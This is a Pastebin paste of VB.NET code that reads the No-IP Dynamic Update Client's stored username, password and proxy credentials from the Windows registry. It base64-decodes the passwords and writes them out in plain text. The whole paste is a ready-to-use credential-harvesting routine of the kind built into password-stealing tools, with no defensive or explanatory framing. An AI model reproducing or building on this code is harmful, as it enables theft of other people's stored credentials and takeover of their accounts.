Advertisement
Guest User

Untitled

a guest
May 14th, 2017
173
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.94 KB | None | 0 0
  1. 'Base 64 Decode For Decoding No-IP Passwords Which Are Encoded Using Base64
  2. Public Function base64Decode(ByVal data As String) As String
  3. Try
  4. Dim encoder As New System.Text.UTF8Encoding()
  5. Dim utf8Decode As System.Text.Decoder = encoder.GetDecoder()
  6. Dim todecode_byte As Byte() = Convert.FromBase64String(data)
  7. Dim charCount As Integer = utf8Decode.GetCharCount(todecode_byte, 0, todecode_byte.Length)
  8. Dim decoded_char As Char() = New Char(charCount - 1) {}
  9. utf8Decode.GetChars(todecode_byte, 0, todecode_byte.Length, decoded_char, 0)
  10. Dim result As String = New [String](decoded_char)
  11. Return result
  12. Catch e As Exception
  13. Throw New Exception("Error in base64Decode" & e.Message)
  14. End Try
  15. End Function
  16. 'Sub For No-IP Gets The Registry Keys And Uses The Base64 Function To Decode The Passwords
  17. Sub NoIPRec()
  18. On Error GoTo X
  19. Dim Username As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "Username", Nothing)
  20. Dim Password As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "Password", Nothing)
  21. Dim ProxyUsername As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "ProxyUsername", Nothing)
  22. Dim ProxyPassword As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "ProxyPassword", Nothing)
  23. Dim ProxyPort As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "ProxyPort", Nothing)
  24. Dim NL As String = vbNewLine
  25. TextBox1.Text = TextBox1.Text + "-No IP-" + NL + "Username: " + Username + NL + "Password: " + base64Decode(Password) + NL + "Proxy Username:" + ProxyUsername + NL + "Proxy Password: " + base64Decode(ProxyPassword) + NL + "Proxy Port: " + ProxyPort + NL + NL
  26. X:
  27. End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement